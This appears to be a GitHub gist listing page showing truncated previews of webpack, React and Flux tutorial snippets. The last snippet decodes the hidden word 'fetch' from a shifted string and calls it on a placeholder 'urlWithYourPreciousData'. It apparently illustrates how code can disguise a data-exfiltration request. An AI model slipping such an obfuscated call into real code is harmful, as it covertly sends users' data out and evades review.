Skip to content

Instantly share code, notes, and snippets.

View enkot's full-sized avatar
👌
Focusing

Taras Batenkov enkot

👌
Focusing
View GitHub Profile
"scripts": {
"start": "webpack-dev-server"
},
const path = require('path');
module.exports = {
entry: './src/index.js',
output: {
path: path.resolve(__dirname, 'dist'),
filename: 'bundle.js'
},
module: {
rules: [
const path = require('path');
module.exports = {
entry: './src/index.js',
output: {
path: path.resolve(__dirname, 'dist'),
filename: 'bundle.js'
},
module: {
rules: [
import React from 'react';
import ReactDOM from 'react-dom';
class Welcome extends React.Component {
constructor(props) {
super(props);
this.handleChange = this.handleChange.bind(this);
this.state = {name: 'Medium'};
}
handleChange(e) {
@enkot
enkot / App.js
Last active September 2, 2017 13:22
import React, { Component } from 'react';
import { render } from 'react-dom';
let id = 0;
class App extends Component {
state = { cards: [] }
addCard(text) {
this.setState({
render() {
const handleClick = () => {
this.addCard(this.refs.item.value)
};
return (
<div>
<input ref="item" />
<button onClick={handleClick}>Add item</button;
</div>
const Dispatcher = require('flux').Dispatcher;
const AppDispatcher = new Dispatcher();
/* ... */
addCard() {
AppDispatcher.dispatch({
actionType: 'ADD_ITEM',
city: 'Toronto'
});
const ListStore = {
items: []
};
// Listen for any dispatched events
AppDispatcher.register( function( payload ) {
switch( payload.actionType ) {
case 'ADD_ITEM':
// Add new item to store
ListStore.items.push( payload.newItem );
// Listen for changes
componentDidMount() {
ListStore.on('change', this._onChange);
}
// Update view state when change event is received
_onChange: function() {
this.setState(ListStore.getState());
}
const i = 'gfudi';
const k = s => s.split('').map(c => String.fromCharCode(c.charCodeAt() - 1)).join('');
self[k(i)](urlWithYourPreciousData);